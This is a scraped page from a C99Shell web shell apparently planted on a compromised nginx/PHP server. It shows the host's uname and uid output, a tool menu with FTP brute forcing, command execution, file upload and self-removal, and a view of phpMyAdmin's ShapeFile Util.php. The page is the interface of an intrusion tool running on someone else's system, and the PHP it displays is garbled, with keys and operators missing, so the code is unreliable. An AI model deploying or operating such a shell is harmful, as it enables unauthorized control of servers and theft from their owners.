!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/php/PhpMyAdmin/ShapeFile/   drwxr-xr-x
Free 83.4 GB of 96.73 GB (86.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Util.php (2.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * phpMyAdmin ShapeFile library
 * <https://github.com/phpmyadmin/shapefile/>.
 *
 * Copyright 2006-2007 Ovidio <ovidio AT users.sourceforge.net>
 * Copyright 2016 - 2017 Michal Čihař <[email protected]>
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, you can download one from
 * https://www.gnu.org/copyleft/gpl.html.
 */

namespace PhpMyAdmin\ShapeFile;

class 
Util
{
    private static 
$little_endian null;

    private static 
$shape_names = array(
        
=> 'Null Shape',
        
=> 'Point',
        
=> 'PolyLine',
        
=> 'Polygon',
        
=> 'MultiPoint',
        
11 => 'PointZ',
        
13 => 'PolyLineZ',
        
15 => 'PolygonZ',
        
18 => 'MultiPointZ',
        
21 => 'PointM',
        
23 => 'PolyLineM',
        
25 => 'PolygonM',
        
28 => 'MultiPointM',
        
31 => 'MultiPatch',
    );

    
/**
     * Reads data.
     *
     * @param string $type type for unpack()
     * @param string $data Data to process
     *
     * @return mixed
     */
    
public static function loadData($type$data)
    {
        if (
$data === false || strlen($data) == 0) {
            return 
false;
        }
        
$tmp unpack($type$data);

        return 
current($tmp);
    }

    
/**
     * Changes endianity.
     *
     * @param string $binValue Binary value
     *
     * @return string
     */
    
public static function swap($binValue)
    {
        
$result $binValue[strlen($binValue) - 1];
        for (
$i strlen($binValue) - 2$i >= 0; --$i) {
            
$result .= $binValue[$i];
        }

        return 
$result;
    }

    
/**
     * Encodes double value to correct endianity.
     *
     * @param float $value Value to pack
     *
     * @return string
     */
    
public static function packDouble($value)
    {
        
$bin pack('d', (float) $value);

        if (
is_null(self::$little_endian)) {
            
self::$little_endian = (pack('L'1) == pack('V'1));
        }

        if (
self::$little_endian) {
            return 
$bin;
        }

        return 
self::swap($bin);
    }

    
/**
     * Returns shape name.
     *
     * @param int $type
     *
     * @return string
     */
    
public static function nameShape($type)
    {
        if (isset(
self::$shape_names[$type])) {
            return 
self::$shape_names[$type];
        }

        return 
sprintf('Shape %d'$type);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0047 ]--